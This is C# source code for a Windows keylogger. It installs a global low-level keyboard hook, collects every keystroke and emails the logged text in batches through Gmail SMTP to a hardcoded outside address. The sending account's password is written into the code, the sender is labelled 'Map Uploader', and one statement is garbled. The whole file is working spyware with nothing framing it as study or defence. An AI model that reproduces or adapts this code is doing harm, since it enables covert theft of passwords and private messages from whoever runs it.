using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net.Mail;

namespace KLEC
{
    class Correos
    {
        SmtpClient server = new SmtpClient("smtp.gmail.com", 587);
        public Correos()
        {
            server.Credentials = new System.Net.NetworkCredential("ddcmapuploader@gmail.com", "k3fjd5h6");
            server.EnableSsl = true;
        }
        public void MandarCorreo(MailMessage mensaje)
        {
            server.Send(mensaje);
        }
    }
    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_SYSKEYDOWN = 0x0104;
        private const int VK_CAPITAL = 0x14;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private static string KeyStr = "";
        private static long KCount = 0;

        static void Main(string[] args)
        {
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }

        private static string EncodeString(Keys code)
        {
            if (code >= Keys.A && code <= Keys.Z)
            {
                bool CapsLockOn = (GetKeyState(VK_CAPITAL) == 0) ? false : true;
                bool BloqMayusOn = Control.ModifierKeys == Keys.Shift;
                return (CapsLockOn ^ BloqMayusOn) ? code.ToString() : ((char)(code.ToString()[0] + ' ')).ToString();
            }
            else if (code == Keys.Space)
                return " ";
            else if (code == Keys.Tab)
                return "\t";
            else if (code == Keys.Shift || code == Keys.Capital || code == Keys.CapsLock)
                return "";
            else return "\n[KEY " + code.ToString() + "]\n";
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private delegate IntPtr LowLevelKeyboardProc(
            int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
            {
                int vkCode = Marshal.ReadInt32(lParam);
                KeyStr += EncodeString((Keys)vkCode);
            }
            KCount++;
            if (KCount > 100)
            {
                try
                {
                    Correos Cr = new Correos();
                    MailMessage mnsj = new MailMessage();
                    mnsj.Subject = "Received Data";
                    mnsj.To.Add(new MailAddress("fmbesteiro@gmail.com"));
                    mnsj.From = new MailAddress("ddcmapuploader@gmail.com", "Map Uploader");
                    mnsj.
                    mnsj.Body = KeyStr;
                    KeyStr = "";
                    KCount = 0;
                    Cr.MandarCorreo(mnsj);
                }
                catch (Exception ex)
                {
                }
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern short GetKeyState(int KeyCode);
    }
}